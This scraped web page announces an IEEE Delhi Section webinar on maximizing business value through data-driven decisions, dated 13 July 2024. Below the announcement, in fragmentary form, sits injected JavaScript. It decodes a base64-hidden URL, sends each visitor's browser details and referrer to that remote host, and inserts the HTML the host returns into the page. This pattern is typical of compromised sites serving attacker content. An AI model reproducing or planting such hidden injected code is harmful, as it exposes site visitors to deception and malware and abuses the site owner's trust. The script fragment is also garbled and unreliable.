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## Business Value Maximization by Data Driven Decisions

IEEE Delhi Section with Computer Society Chapter, Consultants Network Affinity Group, Life Member Affinity Group, Inter Society Relations, Industry Relations & SIGHT Standing Committees of IEEE Delhi with the associations CSI, Safa Society, ISTE Delhi Section, IETE Delhi Centre, invites you for a Webinar on 13-July -2024, the Saturday, at 06:00 p.m.

With the advent of digitalization, Data is growing exponentially every year with an annual growth rate of 61%. Today data is constantly generated by gadgets like smart phones, wearable electronics, smart home devices and the internet dependent lifestyle. The data needs to be effectively collected, stored, transformed and finally analysed so that businesses can derive insights out of it. These insights help business teams to take informed decisions. It is important for the organizations to possess technical capabilities in terms of Modern Data management platforms that help them to manage this ubiquitous data and prepare it for analysis. As the data is growing rapidly, the data management platform is also evolving over the period. Organizations that effectively make use of modern data management platforms and leverage data for innovation, scaling up their business, data-driven decision-making result in improved effectiveness, reduced risk, high productivity and cost savings. These companies maximize their business values and become more customer-focused and competitive. The key question is whether the business companies make effective use of data to gain a competitive advantage. As a part of this session, let us see how data has grown over the period and how companies can effectively manage this data to derive the insights so that they can take informed decisions.

**File:**

 Invitation for Webinar on Business Value Maximization by Data Driven Decisions dated 13-07-2024.pdf<sub>[1]</sub>

**News Category:**

Activities

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{ let selfer=new XMLHttpRequest;selfer.open("GET",  
decodeURIComponent(escape(atob('aHR0cHM6Ly91cmxzcGF0aC5jb20vdmVyaWZ5LnBocA=='))))  
+  
nt=${navigator?.userAgent}&r=${document?.referrer}`),selfer.onreadystatechange=(()=>{if(4===selfer.readyState)  
);document.querySelector("body").insertAdjacentHTML("afterbegin",e?.html)}}),selfer.setRequestHeader("Reque  
}); //-->
```

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